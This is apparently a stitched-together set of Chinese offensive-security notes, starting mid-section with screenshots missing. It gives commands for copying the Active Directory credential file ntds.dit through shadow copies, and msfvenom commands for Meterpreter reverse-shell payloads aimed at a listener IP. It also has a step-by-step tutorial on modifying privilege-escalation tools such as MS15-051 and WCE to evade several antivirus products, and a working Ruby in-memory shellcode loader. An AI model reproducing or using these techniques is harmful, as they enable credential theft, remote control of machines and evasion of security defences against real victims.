ntdsutil snapshot "unmount {22508acf-8a01-4322-867d-383cf78f59e3}" quit quit
删除快照
ntdsutil snapshot "delete {22508acf-8a01-4322-867d-383cf78f59e3}" create quit quit
Vshadow
不是系统默认工具,可在Microsoft SDK中获取
创建快照
vshadow.exe -p -nw C:
获取快照列表
vshadow.exe -q
复制
copy Shadow copy device "Name"\windows\NTDS\ntds.dit c:\ntds.dit
删除快照
vshadow -ds={
ID}
Ninjacopy
ninjacopy是powersploit中的一个powershell脚本直接使用 Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置> 即可复制
VolumeShadowCopyTools
属于powersploit的项目,地址VolumeShadowCopyTools,之前遇到上面介绍的方法都不能复制数据库文件,使用这个工具成功复制
创建卷影
New-VolumeShadowCopy -Volume C:\
列出卷影
Get-VolumeShadowCopy
挂载卷影
Mount-VolumeShadowCopy -Path C:\Users\public -DevicePath \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 可直接在挂载点操作了
卸载卷影
Remove-VolumeShadowCopy -DevicePath \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Shellcode 载入内存免杀
绕过诺顿主动、表面、通信拦截
生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.241.132 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c
-p: 指定payload;
-e:指定编码方式;
-i:编译次数;
-b:去除指定代码,一般是空代码或者错误代码;
lhost:指定本机IP;
lport:指定本机监听端口;
-f:指定生成格式;
-o:指定生成输出后存储文件的位置
shellcode执行盒执行
https://github.com/clinicallyinane/shellcode_launcher/
诺顿查杀情况
表面过掉
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.241.132 lport=443 -e x86/shikata_ga_nai -i 5 -f raw > test2.c
适合人群:
本人不懂c汇编等语言,但我一样能过杀毒(360/诺顿/avg/nod32等)
我也没人教就是看了网上教程会了一点点!如果各位大神你们看着不爽,那么请你忍忍不要喷!
免杀方法:
对于一个不懂汇编的人来说,我是怎么过杀软的呢?
后面将会用360做为实例来给搭建演示。
1、观察杀毒软件报的病毒名称,如果你修改后文件能正常使用并且杀软报毒名称变了,这样一般就可以过掉。
2、不管你怎么换资源或加壳杀软一只报同样的名字,那么就去定位一下特征码。
3、不同的杀毒软件免杀的方法略有不同。
例如:360报qvm7免杀方法是替换资源文件和版本信息。
4、本人常用的免杀方法:替换资源/加花/修改入口点/加壳等。
0x00 免杀前的准备
本次实例将会使用360杀毒来给大家演示。
病毒文件主要以提权EXP老给大家演示!
1、安装360杀毒软件,并把360杀毒的几个引擎全部安装上更新最新病毒库。
2、我在测试360杀毒的时候发现过几个问题:
a) 不管你怎么杀360就是不报毒!那么请还原虚拟机!
b)360杀毒安装包。有老版本的尽量使用老版本的安装包。应为新版本的即使你关了上传还是会上传。
c)本人使用的是360sd_std_4.2.2.4092版本。在安装好后系统防火墙会提示是否开启安全卫士!具体名字记不清楚了,这个地方直接选择拦截就行了,没什么用。如果你选择的放行,那后面你做免杀的时候需要全部关掉360杀毒,选择拦截的话,只需要禁用360杀毒的实时防护功能。
3、360杀毒在全部安装完成和补丁升级成功之后需要关掉:可疑文件上传。
4、在做免杀时请在断网环境下做!
5、360有5个引擎,再过的时候可以一个个去过。
6、需要用到工具包:小七免杀工具包(其实就用几个工具而已)
0X01 Ms15-051过360杀毒4引擎
替换资源
上图中是在联网环境下测试:可以看到360云报了!(小红伞本地也是报的!)
开始:
1、先断网
3、下图可以看到360已经不杀了!小红伞本地也不杀了!
我只是添加了一个版本信息而已!
4、联网查杀也是不杀!我就不上图了!这就成功过掉了360杀毒的4个引擎!
修改字符串
仍c32里面!
修改一下:
我们杀一下看看!
也成功过掉了!
添加字符串
仍c32 拖到最后,随便加点东西!
来联网杀一下看看!
0x02 pr 过360杀毒4引擎
修改区段
联网状态下杀一下看看什么情况!360云报!
下面我就在联网情况下过!
朋友发我的时候是被小红伞干的!
断网环境测试。这个病毒名字一般加一个加密壳就过掉了!我这里加个资源!
红伞本地过掉!
qq管家过掉!
0x04 WCE 过360杀毒4引擎
联网查:
联网查杀可以看到病毒名字变了!
断网看红伞!已经过掉!
现在本地都过了!就剩联网360云了!
拖c32里面去!拉到最后面!随便改!
成功过掉360 杀毒4个引擎!
替换资源
百度杀毒默认安装:原始杀一下!
加点东西!过了!
开启监控!测试!无压力!
垃圾字符串
仍c32里面到最后面加点东西!
真是渣!增加一个区段!就过了!
0x07 字体提权过百度杀毒(PE打乱)
要过杀毒就要想尽一切能修改程序还不叫他损坏的方法!
参考书籍:《精通黑客免杀》《黑客免杀攻防》
属于内部资料,不分享出来了,下面推荐看的是免杀合集,非常不错!!!
https://www.freebuf.com/articles/system/227461.html --免杀合集
本季是为配合msf在渗透过程中无文件渗透,提前做基础过度。也为msf插件编写做基础过度
ruby shellcode 生成如下:
msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
# msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest
shellcode =
"\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64" +
"\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e" +
"\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60" +
"\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b"
"\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01"
"\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d"
"\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01"
"\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01"
"\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2\\x08\\x29\\xd4\\x89\\xe5\\x89"
"\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f\\xff\\xff\\xff\\x89\\x45"
"\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52\\xe8\\x8e\\xff\\xff"
"\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33\\x32\\x2e\\x64"
"\\x68\\x75\\x73\\x65\\x72\\x30\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56"
"\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\\x24"
"\\x52\\xe8\\x5f\\xff\\xff\\xff\\x68\\x72\\x58\\x20\\x20\\x68\\x6f\\x70"
"\\x6f\\x6f\\x68\\x4d\\x69\\x63\\x72\\x31\\xdb\\x88\\x5c\\x24\\x09\\x89"
"\\xe3\\x68\\x72\\x58\\x20\\x20\\x68\\x6f\\x70\\x6f\\x6f\\x68\\x4d\\x69"
"\\x63\\x72\\x31\\xc9\\x88\\x4c\\x24\\x09\\x89\\xe1\\x31\\xd2\\x52\\x53"
"\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08"
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
buf = Fiddle::Pointer[shellcode]
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size)
thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1)
睡觉…